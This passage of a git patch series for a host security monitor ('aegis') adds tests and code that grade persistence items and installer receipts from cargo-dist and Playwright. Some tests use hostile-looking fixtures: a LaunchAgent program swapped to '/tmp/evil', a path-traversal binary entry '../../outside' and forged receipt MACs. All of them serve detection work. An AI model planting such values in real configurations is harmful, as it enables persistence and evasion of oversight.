+        self.git_answer = "local-commit"
+        base, cur = _snaps()
+        first = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(first["severity"], "MEDIUM")
+        aegis._CUSTODY_CARRY_CACHE.clear()       # a new process, same ledger
+        self.git_answer = None                   # git timed out
+        again = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(again["custody"], "copy-of-graded")
+        self.assertEqual(again["severity"], "MEDIUM")
+        self.assertEqual(again["fingerprint"], first["fingerprint"])
+
+    def test_an_affirmative_foreign_answer_is_never_overridden(self):
+        """A carried rung fills a non-answer; it does not argue with git.
+        `remote-foreign` says the bytes are someone else's history."""
+        self.git_answer = "local-commit"
+        base, cur = _snaps()
+        aegis.check_persistence(base, cur)
+        aegis._CUSTODY_CARRY_CACHE.clear()
+        self.git_answer = "remote-foreign"
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["custody"], "remote-foreign")
+        self.assertEqual(f["severity"], "HIGH")
+
+    def test_a_matching_intent_receipt_is_self_attested_low(self):
+        self._receipt(RUN, NEW)
+        base, cur = _snaps()
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["custody"], "self-attested")
+        self.assertEqual(f["severity"], "LOW")
+
+    def test_a_receipt_for_the_same_bytes_elsewhere_carries_one_step(self):
+        """#319: the agent wrote improver.py (receipt a588f96d11b4) and an
+        install step copied the bytes to ~/.local/bin/improver -- no
+        extension, so `_intent_worthy` refused to ask, and a receipt bound to
+        the source path cannot match the copy's path. Same bytes, proven
+        written under supervision, moved: the weakest rung, one step."""
+        self._receipt(IMPROVER_SRC, NEW)
+        self.assertFalse(aegis._intent_worthy(IMPROVER))
+        base, cur = _snaps(names=("improver",), target=IMPROVER)
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["custody"], "copy-of-graded")
+        self.assertEqual(f["severity"], "MEDIUM")
+        self.assertIn(IMPROVER_SRC, f["detail"])
+
+    def test_a_receipt_for_different_bytes_carries_nothing(self):
+        self._receipt(IMPROVER_SRC, "ab" * 32)
+        base, cur = _snaps(names=("improver",), target=IMPROVER)
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertIsNone(f.get("custody"))
+        self.assertEqual(f["severity"], "HIGH")
+
+    def test_a_forged_receipt_carries_nothing(self):
+        """A record whose MAC does not verify is a non-match, exactly as
+        _intent_attested treats it -- at the payload's own path or any
+        other."""
+        self._receipt(IMPROVER_SRC, NEW, mac="0" * 64)
+        self._receipt(IMPROVER, NEW, mac="0" * 64)
+        base, cur = _snaps(names=("improver",), target=IMPROVER)
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertIsNone(f.get("custody"))
+        self.assertEqual(f["severity"], "HIGH")
+
+
+class NewItemCarriesItsProducer(LedgerSandbox):
+    """#287/#288/#295/#300/#302/#307: seven benign-positive verdicts on one
+    scheduler kit, which only become one producer class if the NEW finding
+    says what launched it and what it runs."""
+
+    def test_the_new_finding_carries_launcher_and_payload_bytes(self):
+        path, rec = _job("doctor")
+        f = aegis.check_persistence({}, {path: rec})[0]
+        self.assertEqual(f["title"], "New persistence item")
+        self.assertEqual(f["program_sha"], UV_SHA)
+        self.assertEqual(f["target_sha"], OLD)
+        self.assertEqual(f["script_target"], RUN)
+        self.assertEqual(f["subject"]["program_sha"], UV_SHA)
+        self.assertEqual(f["subject"]["target"], RUN)
+        self.assertEqual(f["subject"]["target_sha"], OLD)
+        self.assertEqual(
+            aegis._finding_producer_classes(f),
+            [("persistence:#producer:%s:%s:%s" % (UV_SHA, RUN,
+                                                  SUSPICIOUS_TRUST), path)])
+
+    def test_seven_siblings_share_one_producer_class(self):
+        cur = dict(_job(name) for name in LABELS)
+        out = aegis.check_persistence({}, cur)
+        classes = [c for f in out for c in aegis._finding_producer_classes(f)]
+        self.assertEqual(len({k for k, _obs in classes}), 1)
+        self.assertEqual(len({obs for _k, obs in classes}), 7)
+
+
+class OneVerdictAcceptsEveryReferringJob(LedgerSandbox):
+    """The case is one fact, so one benign-positive must promote every job
+    that runs the reviewed bytes -- otherwise the sensor re-asserts the fact
+    on every scan for six of the seven, forever (the store's `Persistence
+    baseline is written only on first run` defect)."""
+
+    def setUp(self):
+        super().setUp()
+        self.saved = {}
+        for name, fn in (("EVENT_DB", "t.db"), ("BASELINE", "baseline.json"),
+                         ("SELFSTATE", "selfstate.json")):
+            self.saved[name] = getattr(aegis, name)
+            setattr(aegis, name, os.path.join(self.state, fn))
+        self.now = aegis._epoch()
+        self.base, self.live = _snaps(names=("a", "b", "c"))
+        aegis.save_json(aegis.BASELINE,
+                        {"persistence": dict(self.base), "created": "x"})
+        self._real_snapshot = aegis.snapshot_persistence
+        aegis.snapshot_persistence = lambda: self.live
+
+    def tearDown(self):
+        aegis.snapshot_persistence = self._real_snapshot
+        for name, value in self.saved.items():
+            setattr(aegis, name, value)
+        super().tearDown()
+
+    def _findings(self):
+        base = aegis.load_baseline()[0].get("persistence") or {}
+        return aegis.check_persistence(base, aegis.snapshot_persistence())
+
+    def _open_case_incident(self, f):
+        db = aegis._event_connection()
+        with db:
+            cur = db.execute(
+                "INSERT INTO events(occurred_at,observed_at,source,event_type,"
+                "data_json) VALUES(?,?,?,?,?)",
+                (self.now, self.now, "persistence", "observation.finding",
+                 json.dumps(f)))
+            i = aegis._upsert_incident(
+                db, "signal:" + f["case_fingerprint"], f["title"],
+                f["severity"], "signal", self.now, [cur.lastrowid],
+                subject=f.get("subject"))
+        db.close()
+        return i
+
+    def test_one_verdict_promotes_all_three_jobs(self):
+        f = _changed(self._findings())[0]
+        i = self._open_case_incident(f)
+        self.assertEqual(sorted(aegis._accept_into_baseline([i])),
+                         sorted(self.base))
+        self.assertEqual(self._findings(), [])
+
+    def test_a_job_that_moved_on_after_the_verdict_is_not_blessed(self):
+        f = _changed(self._findings())[0]
+        i = self._open_case_incident(f)
+        moved = sorted(self.live)[0]
+        self.live[moved] = dict(self.live[moved], target_sha="ff" * 32)
+        accepted = aegis._accept_into_baseline([i])
+        self.assertEqual(sorted(accepted), sorted(self.live)[1:])
+        left = _changed(self._findings())
+        self.assertEqual([x["referrer_paths"] for x in left], [[moved]])
+
+
+class TheStoreFoldsPerJobPayloadCases(unittest.TestCase):
+    """A fix the operator cannot see is indistinguishable from no fix: the
+    per-plist incidents already minted fold into the one payload case."""
+
+    def setUp(self):
+        self.db = sqlite3.connect(":memory:")
+        self.db.row_factory = sqlite3.Row
+        self.db.executescript("""
+            CREATE TABLE incidents(id INTEGER PRIMARY KEY, kind TEXT,
+              correlation_key TEXT, title TEXT, severity TEXT, status TEXT,
+              created_at INT, first_seen INT, last_seen INT, updated_at INT,
+              reminder_count INT DEFAULT 0, next_reminder_at INT,
+              last_notified_at INT, resolution TEXT, subject_json TEXT,
+              last_novel_at INT);
+            CREATE TABLE events(id INTEGER PRIMARY KEY, incident_id INT,
+              data_json TEXT);
+            CREATE TABLE incident_events(incident_id INT, event_id INT);
+        """)
+        self.n = 0
+
+    def tearDown(self):
+        self.db.close()
+
+    def _inc(self, plist, detail, status="OPEN", created=0, target=RUN):
+        self.n += 1
+        i = self.n
+        self.db.execute(
+            "INSERT INTO incidents(id,kind,correlation_key,title,severity,"
+            "status,created_at,first_seen,last_seen,updated_at) "
+            "VALUES(?,'signal',?,'Persistence item CHANGED','HIGH',?,?,0,0,0)",
+            (i, "signal:persistence:changed:" + plist, status, created))
+        data = {"detail": detail, "path": plist, "script_target": target,
+                "program": UV}
+        self.db.execute("INSERT INTO events(id,incident_id,data_json) "
+                        "VALUES(?,?,?)", (i, i, json.dumps(data)))
+        self.db.execute("INSERT INTO incident_events(incident_id,event_id) "
+                        "VALUES(?,?)", (i, i))
+        return i
+
+    def _seven(self, **kw):
+        return [self._inc(
+            "/Users/me/Library/LaunchAgents/com.aikit.%s.plist" % name,
+            "com.aikit.%s: payload %s bytes 4a1646366adf -> 25ee9a4593c2"
+            % (name, RUN), **kw) for name in LABELS]
+
+    def _run(self, now=1000):
+        return aegis._fold_payload_update_cases(self.db, now)
+
+    def _keys(self, status="OPEN"):
+        return sorted(r["correlation_key"] for r in self.db.execute(
+            "SELECT correlation_key FROM incidents WHERE status=?", (status,)))
+
+    def test_seven_open_incidents_fold_into_one_case(self):
+        self._seven()
+        self.assertEqual(self._run(), 6)
+        self.assertEqual(self._keys(),
+                         ["signal:persistence:payload-update:" + RUN])
+        rows = self.db.execute(
+            "SELECT resolution FROM incidents WHERE status='FALSE_POSITIVE'"
+        ).fetchall()
+        self.assertEqual(len(rows), 6)
+        for row in rows:
+            self.assertTrue(row["resolution"].startswith("superseded:"),
+                            row["resolution"])
+
+    def test_the_survivor_inherits_every_job_s_evidence(self):
+        self._seven()
+        self._run()
+        keep = self.db.execute(
+            "SELECT id FROM incidents WHERE status='OPEN'").fetchone()["id"]
+        n = self.db.execute("SELECT COUNT(*) c FROM incident_events WHERE "
+                            "incident_id=?", (keep,)).fetchone()["c"]
+        self.assertEqual(n, 7)
+
+    def test_the_fold_lands_on_the_key_the_sensor_now_mints(self):
+        """Folding onto any other key would leave the survivor orphaned and
+        the next scan would mint a second case beside it."""
+        self._seven()
+        self._run()
+        with LedgerSandboxScope():
+            base, cur = _snaps()
+            f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(self._keys(), ["signal:" + f["case_fingerprint"]])
+
+    def test_a_config_change_riding_along_is_never_folded(self):
+        for plist, detail in (
+                ("/L/a.plist", "a: args [x] -> [y]; payload %s bytes "
+                               "4a1646366adf -> 25ee9a4593c2" % RUN),
+                ("/L/b.plist", "b: payload %s bytes 4a1646366adf -> "
+                               "25ee9a4593c2; env (none) -> {}" % RUN),
+                ("/L/c.plist", "c: program bytes aaaaaaaaaaaa -> "
+                               "bbbbbbbbbbbb"),
+                ("/L/d.plist", "d: program /bin/bash -> /tmp/evil")):
+            self._inc(plist, detail)
+        self.assertEqual(self._run(), 0)
+        self.assertEqual(len(self._keys()), 4)
+        self.assertFalse(any("payload-update" in k for k in self._keys()))
+
+    def test_evidence_that_disagrees_with_itself_is_left_alone(self):
+        """The payload named in the detail must be the recorded
+        script_target, or this cannot tell which file the case is about."""
+        self._inc("/L/a.plist", "a: payload %s bytes 4a1646366adf -> "
+                                "25ee9a4593c2" % RUN, target="/elsewhere.py")
+        self._run()
+        self.assertEqual(self._keys(), ["signal:persistence:changed:/L/a.plist"])
+
+    def test_it_never_touches_an_incident_from_the_current_scan(self):
+        self._seven(created=1000)
+        self.assertEqual(self._run(now=1000), 0)
+        self.assertEqual(len(self._keys()), 7)
+
+    def test_already_adjudicated_rows_are_untouched(self):
+        self._seven(status="FALSE_POSITIVE")
+        self.assertEqual(self._run(), 0)
+        self.assertEqual(len(self._keys("FALSE_POSITIVE")), 7)
+        self.assertFalse(any("payload-update" in k
+                             for k in self._keys("FALSE_POSITIVE")))
+
+    def test_it_is_registered_to_run_once(self):
+        fns = {row[0]: row[1] for row in aegis._STORE_MIGRATIONS}
+        self.assertIs(fns.get("persistence_payload_case_20260923"),
+                      aegis._fold_payload_update_cases)
+
+
+class LedgerSandboxScope(object):
+    """LedgerSandbox's isolation as a context manager, for the one migration
+    test that also has to ask the live sensor what key it mints."""
+
+    def __enter__(self):
+        self.tmp = tempfile.mkdtemp(prefix="aegis_payload_case_")
+        self._saved = {}
+        for k, v in (("INTENT_FILE", os.path.join(self.tmp, "intent.jsonl")),
+                     ("CUSTODY_FILE", os.path.join(self.tmp, "custody.jsonl")),
+                     ("HMAC_KEY_FILE", os.path.join(self.tmp, "hmac.key")),
+                     ("_git_provenance", lambda path: None)):
+            self._saved[k] = getattr(aegis, k)
+            setattr(aegis, k, v)
+        aegis._CUSTODY_CARRY_CACHE.clear()
+        return self
+
+    def __exit__(self, *exc):
+        for k, v in self._saved.items():
+            setattr(aegis, k, v)
+        aegis._CUSTODY_CARRY_CACHE.clear()
+        shutil.rmtree(self.tmp, ignore_errors=True)
+        return False
+
+
+if __name__ == "__main__":
+    unittest.main()

From 1acca5859fbd2b8111144c5d8ebc1409e92794ad Mon Sep 17 00:00:00 2001
From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com>
Date: Wed, 23 Sep 2026 15:18:15 -0700
Subject: [PATCH 2/3] uv and Playwright leave receipts as readable as
 Homebrew's, and the ladder never read them

`_package_receipt` covered Homebrew, VS Code, pipx, uv's interpreters, winget,
Chocolatey and the distro managers. Two installers on a developer's machine
leave a receipt just as checkable, and their binaries were the process
sensor's residue: an ad-hoc `~/.local/bin/uv` (#344, #514) and the Playwright
browser cache (#346, #433-#435).

- `_cargo_dist_receipt`: reads `<config>/<d>/<d>-receipt.json` (nothing else),
  and answers when the path resolves to `<install_prefix>/<binary>` for a
  binary the receipt lists. Roots taken from the uv 0.11.6 installers
  (cargo-dist 0.31.0): `${XDG_CONFIG_HOME:-$HOME/.config}` on posix,
  `%XDG_CONFIG_HOME%` else `%LOCALAPPDATA%` on Windows; hierarchical and
  cargo-home layouts install under `bin/`. A `binaries` entry with a separator
  is refused. Parsed once per scan, cleared by `_reset_custody_probes`.
- `_playwright_receipt`: a file under a `<browser>-<rev>` directory directly
  beneath a Playwright cache root that holds `INSTALLATION_COMPLETE`, the
  marker the download worker writes after extracting. Roots as Playwright's
  registry resolves them; an absolute `PLAYWRIGHT_BROWSERS_PATH` is honoured,
  "0" and relative values are not guessed.

Both answer only `package-managed`, the vouched tier. They are
same-uid-forgeable, exactly like the Homebrew receipt already trusted: one
step, never to LOW, risk weight 0.25, and `_grade_binary` never consults them
for attack-defined evidence.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---
 aegis.py                         | 176 +++++++++++++++
 tests/test_installer_receipts.py | 368 +++++++++++++++++++++++++++++++
 2 files changed, 544 insertions(+)
 create mode 100644 tests/test_installer_receipts.py

diff --git a/aegis.py b/aegis.py
index 4a2d512..5d214f4 100755
--- a/aegis.py
+++ b/aegis.py
@@ -15885,6 +15885,9 @@ def _reset_custody_probes():
     _REPO_ROOT_CACHE.clear()
     _REPO_SELFNESS_CACHE.clear()
     _BUILD_OUTPUT_CACHE.clear()
+    # Not a git probe, but the same per-scan lifetime: the parsed cargo-dist
+    # receipts (see _cargo_dist_receipts).
+    _CARGO_DIST_CACHE.clear()
 
 
 def _repo_root_of(git, d):
@@ -16620,6 +16623,178 @@ def _choco_receipt(real):
     return None
 
 
+# --- installer receipts: two installers that are not package managers --------
+#
+# The cargo-dist installer (`curl ... | sh` for uv and most Rust CLIs) and
+# Playwright's browser download both leave a receipt as readable as Homebrew's,
+# and their binaries were the residue of the process sensor's queue: an ad-hoc
+# `uv` in ~/.local/bin and a Playwright Firefox whose seal reads broken. (That
+# `uv` is also the PROGRAM of LaunchAgents a uv-run toolkit installs; the
+# persistence ladder does not consult package receipts, so this does not
+# reach those findings.)
+#
+# Doctrine, the same as every receipt above: a receipt is a same-uid file, so
+# anything already running as the operator can forge one — exactly as it can
+# drop an INSTALL_RECEIPT.json beside a Cellar file. That is why these answer
+# only the vouched tier's `package-managed` rung: one severity step, never to
+# LOW, a 0.25 weight in the risk tier, and `_grade_binary` never consults them
+# for attack-defined evidence. Origin is not innocence; a receipt quiets the
+# identity half of a finding and nothing else.
+
+# Parsed receipts per config root, for one scan: {root: {binary key: label}}.
+# Cleared by _reset_custody_probes, so a receipt the next install rewrites is
+# read again on the next scan and not before.
+_CARGO_DIST_CACHE = {}
+
+
+def _cargo_dist_config_roots():
+    """Where a cargo-dist installer writes `<app>/<app>-receipt.json`.
+
+    Read from the installers themselves (uv 0.11.6, cargo-dist 0.31.0):
+    install.sh uses ${XDG_CONFIG_HOME:-$HOME/.config} (or %LOCALAPPDATA% from
+    a Windows posix shell), install.ps1 uses %XDG_CONFIG_HOME% else
+    %LOCALAPPDATA%. XDG_CONFIG_HOME is asked first and the default as well,
+    because the environment Aegis runs under is not the shell that installed.
+    """
+    roots = []
+    xdg = os.environ.get("XDG_CONFIG_HOME")
+    if xdg and os.path.isabs(xdg):
+        roots.append(xdg)
+    if IS_WIN:
+        default = os.environ.get("LOCALAPPDATA")
+    else:
+        default = os.path.join(HOME, ".config")
+    if default and default not in roots:
+        roots.append(default)
+    return roots
+
+
+def _binary_key(path):
+    """One spelling of a file for comparing two paths to it: links resolved,
+    and case folded where the filesystem folds it."""
+    return os.path.normcase(os.path.realpath(path))
+
+
+def _parse_cargo_dist_receipt(receipt_path, dirname):
+    """{binary key: label} for one receipt, or {} when it is not one.
+
+    Only a plain file name in `binaries` is honoured: an entry with a
+    separator in it would turn a same-uid JSON file into a vouch for any path
+    on the disk. The hierarchical layouts record the root and install one
+    level down in bin/; flat (and a receipt that predates the field) installs
+    into the prefix itself."""
+    try:
+        data = json.loads(_read_text(receipt_path, limit=64 * 1024) or "")
+    except ValueError:
+        return {}
+    if not isinstance(data, dict):
+        return {}
+    binaries, prefix = data.get("binaries"), data.get("install_prefix")
+    if (not isinstance(binaries, list) or not isinstance(prefix, str)
+            or not os.path.isabs(prefix)):
+        return {}
+    if data.get("install_layout") in ("hierarchical", "cargo-home"):
+        prefix = os.path.join(prefix, "bin")
+    source = data.get("source") if isinstance(data.get("source"), dict) else {}
+    name = source.get("name") or source.get("app_name") or dirname
+    label = "cargo-dist:%s" % name
+    if source.get("owner"):
+        label = "cargo-dist:%s/%s" % (source["owner"], name)
+    if data.get("version"):
+        label += "@%s" % data["version"]
+    found = {}
+    for b in binaries:
+        if (isinstance(b, str) and b not in ("", ".", "..")
+                and os.path.basename(b) == b):
+            found[_binary_key(os.path.join(prefix, b))] = label
+    return found
+
+
+def _cargo_dist_receipts():
+    """{binary key: label} over every cargo-dist receipt on this body, read
+    once per scan. Bounded to `<root>/<d>/<d>-receipt.json`: the installer
+    names the receipt after its own directory, and nothing else is read."""
+    out = {}
+    for root in _cargo_dist_config_roots():
+        if root not in _CARGO_DIST_CACHE:
+            found = {}
+            try:
+                names = sorted(os.listdir(root))
+            except OSError:
+                names = []
+            for d in names:
+                rp = os.path.join(root, d, d + "-receipt.json")
+                if os.path.isfile(rp):
+                    found.update(_parse_cargo_dist_receipt(rp, d))
+            _CARGO_DIST_CACHE[root] = found
+        out.update(_CARGO_DIST_CACHE[root])
+    return out
+
+
+def _cargo_dist_receipt(real):
+    """A binary a cargo-dist installer put on disk: `real` resolves to
+    `<install_prefix>/<binary>` for a binary its receipt lists. Same-uid
+    forgeable like the Homebrew receipt, hence vouched-tier only (see the
+    section comment above)."""
+    if not real:
+        return None
+    return _cargo_dist_receipts().get(_binary_key(real))
+
+
+# `<browser>-<revision>`; the browser part may carry `_` and a host-platform
+# tag (`webkit_ubuntu20.04-x64_special-2092`), the revision is digits.
+_PLAYWRIGHT_BROWSER_DIR = re.compile(r"^[^.].*-\d+$")
+
+
+def _playwright_roots():
+    """The browser caches Playwright installs into, as its registry resolves
+    them: PLAYWRIGHT_BROWSERS_PATH when it names an absolute directory, and
+    the platform default as well (Aegis's environment is not the installer's).
+    "0" (node_modules/.../.local-browsers) and a relative value (resolved
+    against the installing process's cwd) are not knowable here and are not
+    guessed at."""
+    roots = []
+    env = os.environ.get("PLAYWRIGHT_BROWSERS_PATH")
+    if env and env != "0" and os.path.isabs(env):
+        roots.append(env)
+    if IS_MAC:
+        default = os.path.join(HOME, "Library", "Caches", "ms-playwright")
+    elif IS_WIN:
+        base = (os.environ.get("LOCALAPPDATA")
+                or os.path.join(HOME, "AppData", "Local"))
+        default = os.path.join(base, "ms-playwright")
+    else:
+        base = os.environ.get("XDG_CACHE_HOME") or os.path.join(HOME, ".cache")
+        default = os.path.join(base, "ms-playwright")
+    if default not in roots:
+        roots.append(default)
+    return roots
+
+
+def _playwright_receipt(real):
+    """A file inside a `<browser>-<revision>` directory directly under a
+    Playwright cache root that holds INSTALLATION_COMPLETE — the marker
+    Playwright's download worker writes after the extract finished, never
+    before. The marker is only evidence where Playwright writes it: the same
+    tree anywhere else answers nothing. Same-uid forgeable like the Homebrew
+    receipt, hence vouched-tier only (see the section comment above)."""
+    if not real:
+        return None
+    target = os.path.normcase(os.path.abspath(real))
+    for root in _playwright_roots():
+        for base in {os.path.normcase(os.path.abspath(root)),
+                     os.path.normcase(os.path.realpath(root))}:
+            if not target.startswith(base.rstrip(os.sep) + os.sep):
+                continue
+            rest = target[len(base.rstrip(os.sep)) + 1:].split(os.sep)
+            if len(rest) < 2 or not _PLAYWRIGHT_BROWSER_DIR.match(rest[0]):
+                continue
+            if os.path.isfile(os.path.join(base, rest[0],
+                                           "INSTALLATION_COMPLETE")):
+                return "playwright:%s" % rest[0]
+    return None
+
+
 def _os_package_receipt(real):
     """The OS-NATIVE package manager's claim on `real`.
 
@@ -16641,6 +16816,7 @@ def _os_package_receipt(real):
 # questions first, so the expensive one is only asked when no cheap answer won.
 _PACKAGE_RECEIPTS = (_homebrew_receipt, _vscode_receipt, _pipx_receipt,
                      _uv_python_receipt, _winget_receipt, _choco_receipt,
+                     _playwright_receipt, _cargo_dist_receipt,
                      _os_package_receipt)
 
 
diff --git a/tests/test_installer_receipts.py b/tests/test_installer_receipts.py
new file mode 100644
index 0000000..1777a10
--- /dev/null
+++ b/tests/test_installer_receipts.py
@@ -0,0 +1,368 @@
+#!/usr/bin/env python3
+"""Two installers that are not package managers, and the receipts they leave.
+
+`_package_receipt` reads the receipts of Homebrew, VS Code, pipx, uv's own
+interpreters, winget, Chocolatey and the distro package managers. Two more
+installers on a developer's machine leave a receipt that is just as readable,
+and their binaries were the residue of the live queue:
+
+  * the cargo-dist installer (`curl ... | sh` for uv, and every Rust tool that
+    ships with it) writes `<config>/<app>/<app>-receipt.json`, naming the
+    install prefix and the binaries it put there. `~/.local/bin/uv` is ad-hoc
+    signed by construction, so as a process it read as an unvouched binary in
+    a user-writable path, and as the PROGRAM of seven LaunchAgents it did the
+    same seven more times.
+  * Playwright downloads its browsers into a per-user cache and writes
+    `INSTALLATION_COMPLETE` beside each `<browser>-<revision>/` directory only
+    after the download and extract finished. Its Firefox is a "Nightly.app"
+    whose seal reads broken, and its headless shell is ad-hoc.
+
+Both receipts are forgeable by anything running as the operator's uid, exactly
+like the Homebrew receipt the ladder already trusts. That is the tier's
+contract, and the last class pins it: one step, never below MEDIUM, and never
+for attack-defined evidence.
+
+Synthetic trees only. The live checks at the bottom read this body's own
+receipts and skip wherever they are absent.
+"""
+import glob
+import json
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+from unittest import mock
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+import aegis  # noqa: E402
+
+REAL_MAC = sys.platform == "darwin" and aegis.IS_MAC
+
+
+class ReceiptSandbox(unittest.TestCase):
+    """A synthetic HOME, and every environment variable either installer
+    consults pointed inside it or removed."""
+
+    def setUp(self):
+        self.tmp = tempfile.mkdtemp(prefix="aegis_installer_receipt_")
+        self.addCleanup(shutil.rmtree, self.tmp, ignore_errors=True)
+        self.home = os.path.join(self.tmp, "home")
+        os.makedirs(self.home)
+        saved_home = aegis.HOME
+        aegis.HOME = self.home
+        self.addCleanup(setattr, aegis, "HOME", saved_home)
+        env = mock.patch.dict(os.environ)
+        env.start()
+        self.addCleanup(env.stop)
+        for k in ("XDG_CONFIG_HOME", "XDG_CACHE_HOME",
+                  "PLAYWRIGHT_BROWSERS_PATH"):
+            os.environ.pop(k, None)
+        os.environ["LOCALAPPDATA"] = os.path.join(self.tmp, "localappdata")
+        aegis._CARGO_DIST_CACHE.clear()
+        self.addCleanup(aegis._CARGO_DIST_CACHE.clear)
+
+    def touch(self, path, text="x"):
+        os.makedirs(os.path.dirname(path), exist_ok=True)
+        with open(path, "w") as f:
+            f.write(text)
+        return path
+
+    def symlink_or_skip(self, target, link):
+        os.makedirs(os.path.dirname(link), exist_ok=True)
+        try:
+            os.symlink(target, link)
+        except (OSError, NotImplementedError) as e:
+            self.skipTest("cannot create a symlink here: %s" % e)
+        return link
+
+
+class CargoDistReceipt(ReceiptSandbox):
+    """`<config>/<app>/<app>-receipt.json`, as the uv 0.11.6 installer (cargo-dist
+    0.31.0) writes it: `${XDG_CONFIG_HOME:-$HOME/.config}/<app>` on posix,
+    `%XDG_CONFIG_HOME%` else `%LOCALAPPDATA%` on Windows."""
+
+    def config_root(self):
+        if aegis.IS_WIN:
+            return os.environ["LOCALAPPDATA"]
+        return os.path.join(self.home, ".config")
+
+    def install(self, prefix, binaries=("tool", "toolx"), layout="flat",
+                app="tool", raw=None, root=None):
+        receipt = {"binaries": list(binaries), "binary_aliases": {},
+                   "install_layout": layout, "install_prefix": prefix,
+                   "provider": {"source": "cargo-dist", "version": "0.31.0"},
+                   "source": {"app_name": app, "name": app, "owner": "acme",
+                              "release_type": "github"},
+                   "version": "1.2.3"}
+        self.touch(os.path.join(root or self.config_root(), app,
+                                app + "-receipt.json"),
+                   raw if raw is not None else json.dumps(receipt))
+        bindir = (os.path.join(prefix, "bin")
+                  if layout in ("hierarchical", "cargo-home") else prefix)
+        return [self.touch(os.path.join(bindir, b)) for b in binaries
+                if os.path.basename(b) == b]
+
+    def prefix(self):
+        return os.path.join(self.home, ".local", "bin")
+
+    def test_a_listed_binary_under_the_install_prefix_answers(self):
+        tool, toolx = self.install(self.prefix())
+        self.assertEqual(aegis._package_receipt(tool),
+                         "cargo-dist:acme/tool@1.2.3")
+        self.assertEqual(aegis._package_receipt(toolx),
+                         "cargo-dist:acme/tool@1.2.3")
+
+    def test_a_sibling_the_receipt_does_not_list_does_not(self):
+        """The install prefix is ~/.local/bin, which every other installer and
+        every hand-copied binary shares. Only the files the receipt names are
+        its own."""
+        self.install(self.prefix())
+        other = self.touch(os.path.join(self.prefix(), "other"))
+        self.assertIsNone(aegis._package_receipt(other))
+
+    def test_a_same_named_copy_outside_the_install_prefix_does_not(self):
+        self.install(self.prefix())
+        copy = self.touch(os.path.join(self.home, "Downloads", "tool"))
+        self.assertIsNone(aegis._package_receipt(copy))
+
+    def test_malformed_json_is_no_answer(self):
+        tool = self.touch(os.path.join(self.prefix(), "tool"))
+        self.install(self.prefix(), raw="{not json")
+        self.assertIsNone(aegis._cargo_dist_receipt(tool))
+        self.assertIsNone(aegis._package_receipt(tool))
+
+    def test_a_receipt_of_the_wrong_shape_is_no_answer(self):
+        tool = self.touch(os.path.join(self.prefix(), "tool"))
+        for raw in ('[]', '{"binaries":"tool","install_prefix":"%s"}'
+                    % self.prefix().replace("\\", "\\\\"),
+                    '{"binaries":["tool"],"install_prefix":"relative/bin"}'):
+            aegis._CARGO_DIST_CACHE.clear()
+            self.install(self.prefix(), raw=raw)
+            self.assertIsNone(aegis._package_receipt(tool), raw)
+
+    def test_a_symlink_into_the_install_prefix_resolves(self):
+        tool, _ = self.install(self.prefix())
+        link = self.symlink_or_skip(
+            tool, os.path.join(self.home, "bin", "tool-link"))
+        self.assertEqual(aegis._package_receipt(link),
+                         "cargo-dist:acme/tool@1.2.3")
+
+    def test_a_binary_name_that_climbs_out_of_the_prefix_is_refused(self):
+        """A receipt is a same-uid file. A `binaries` entry with a separator in
+        it would turn it into a vouch for any path on the disk."""
+        self.install(self.prefix(), binaries=("../../outside",))
+        outside = self.touch(os.path.join(self.home, "outside"))
+        self.assertIsNone(aegis._package_receipt(outside))
+
+    def test_only_a_receipt_named_for_its_own_directory_is_read(self):
+        tool = self.touch(os.path.join(self.prefix(), "tool"))
+        receipt = {"binaries": ["tool"], "install_prefix": self.prefix(),
+                   "source": {"name": "tool", "owner": "acme"},
+                   "version": "1"}
+        self.touch(os.path.join(self.config_root(), "tool",
+                                "other-receipt.json"), json.dumps(receipt))
+        self.touch(os.path.join(self.config_root(), "tool-receipt.json"),
+                   json.dumps(receipt))
+        self.assertIsNone(aegis._package_receipt(tool))
+
+    def test_a_cargo_home_layout_installs_under_bin(self):
+        """The installer's hierarchical layouts record the root and put the
+        binaries one level down, in bin/."""
+        cargo = os.path.join(self.home, ".cargo")
+        tool, _ = self.install(cargo, layout="cargo-home")
+        self.assertEqual(tool, os.path.join(cargo, "bin", "tool"))
+        self.assertEqual(aegis._package_receipt(tool),
+                         "cargo-dist:acme/tool@1.2.3")
+
+    def test_xdg_config_home_is_honoured(self):
+        xdg = os.path.join(self.tmp, "xdg-config")
+        os.environ["XDG_CONFIG_HOME"] = xdg
+        tool, _ = self.install(self.prefix(), root=xdg)
+        self.assertEqual(aegis._package_receipt(tool),
+                         "cargo-dist:acme/tool@1.2.3")
+
+    def test_the_parse_is_cached_for_the_scan_and_reset_with_it(self):
+        tool, _ = self.install(self.prefix())
+        self.assertTrue(aegis._package_receipt(tool))
+        os.remove(os.path.join(self.config_root(), "tool",
+                               "tool-receipt.json"))
+        self.assertTrue(aegis._package_receipt(tool),
+                        "the receipts are parsed once per scan")
+        aegis._reset_custody_probes()
+        self.assertIsNone(aegis._package_receipt(tool),
+                          "the next scan must read the disk again")
+
+    def test_the_config_roots_follow_the_installer(self):
+        with mock.patch.object(aegis, "IS_WIN", False):
+            self.assertEqual(aegis._cargo_dist_config_roots(),
+                             [os.path.join(self.home, ".config")])
+        with mock.patch.object(aegis, "IS_WIN", True):
+            self.assertEqual(aegis._cargo_dist_config_roots(),
+                             [os.environ["LOCALAPPDATA"]])
+        os.environ["XDG_CONFIG_HOME"] = os.path.join(self.tmp, "xdg")
+        with mock.patch.object(aegis, "IS_WIN", False):
+            self.assertEqual(aegis._cargo_dist_config_roots(),
+                             [os.path.join(self.tmp, "xdg"),
+                              os.path.join(self.home, ".config")])
+
+
+class PlaywrightReceipt(ReceiptSandbox):
+    """`<cache>/ms-playwright/<browser>-<revision>/INSTALLATION_COMPLETE`,
+    written by Playwright's download worker after extract, never before."""
+
+    def cache_root(self):
+        roots = aegis._playwright_roots()
